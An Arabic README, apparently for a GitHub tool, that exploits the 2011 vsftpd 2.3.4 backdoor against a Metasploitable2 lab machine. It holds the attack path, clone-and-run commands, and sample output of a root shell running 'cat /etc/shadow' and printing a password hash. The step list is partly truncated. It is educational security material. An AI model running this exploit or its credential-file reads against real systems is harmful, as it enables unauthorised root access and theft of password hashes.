
تطوير الاستغلال من الصفر بلغة Python. بدون Metasploit. بدون أطر عمل. تنفيذ على مستوى المقابس الخام لثغرات CVE حقيقية ضد أهداف مختبرية مصرح بها.
vsftpd (خادم FTP الآمن جدًا) هو خادم FTP للمنصات الشبيهة بـ Unix بما في ذلك Linux، موزع تحت رخصة GNU العامة.
في يوليو 2011، تم اكتشاف أن الإصدار 2.3.4 من vsftpd — المتاح للتنزيل بين 30 يونيو و3 يوليو 2011 — قد تم اختراقه. تمكن مهاجم مجهول من الوصول إلى خادم توزيع vsftpd وحقن باب خلفي مباشرة في الكود المصدري قبل شحنه إلى المستخدمين.
لم يكن هذا خللًا في تصميم vsftpd. كان هجومًا على سلسلة التوريد — حيث تم استبدال البرنامج الشرعي بنسخة معدلة بشكل خبيث.
يراقب كود الباب الخلفي المحقون حقل اسم المستخدم في FTP أثناء تسجيل الدخول.
إذا كان اسم المستخدم يحتوي على :) (وجه مبتسم)، فإن الباب الخلفي ينشئ
صدفة جذر مرتبطة بالمنفذ 6200 على الجهاز الهدف — دون الحاجة إلى
أي مصادقة.
مسار الهجوم:
Attacker → port 21 (FTP) → sends USER containing :) → backdoor triggers → root shell opens on port 6200
Attacker → port 6200 → full interactive root shell
تصنيف CWE: CWE-78 — التحصين غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)
تمت كتابة هذا الاستغلال من الصفر بلغة Python خالصة باستخدام المكتبة
القياSية فقط (socket). لا Metasploit. لا أطر استغلال. لا
تبعيات خارجية.
خطوة بخطوة:
:) لتفعيل الباب الخلفي# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
مثال على المخرجات:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| السيناريو | السلوك |
|---|---|
| المنفذ 21 مغلق | يطبع "Port is closed"، ويخرج بأمان |
| انتهاء مهلة الاتصال | يطبع "Connection timed out"، ويخرج بأمان |
| اسم مضيف/IP غير صالح | يطبع "Invalid target"، ويخرج بأمان |
| إصدار vsftpd خاطئ | يطبع رسالة عدم التطابق، ويخرج بأمان |
| المنفذ 6200 غير قابل للوصول | يطبع رسالة فشل الباب الخلفي، ويخرج بأمان |
تم تطوير هذا الاستغلال بشكل صارم لأغراض تعليمية ولأبحاث الأمن المصرح بها فقط.
تم بناؤه واختباره حصريًا ضد جهاز Metasploitable2 افتراضي محلي في بيئة مختبر معزولة تمامًا.
لا تستخدم هذا ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح باختباره. الاستخدام غير المصرح به غير قانوني بموجب قانون الغش وإساءة استخدام الحاسوب (CFAA) والقوانين المكافئة في جميع أنحاء العالم.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا الكود.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub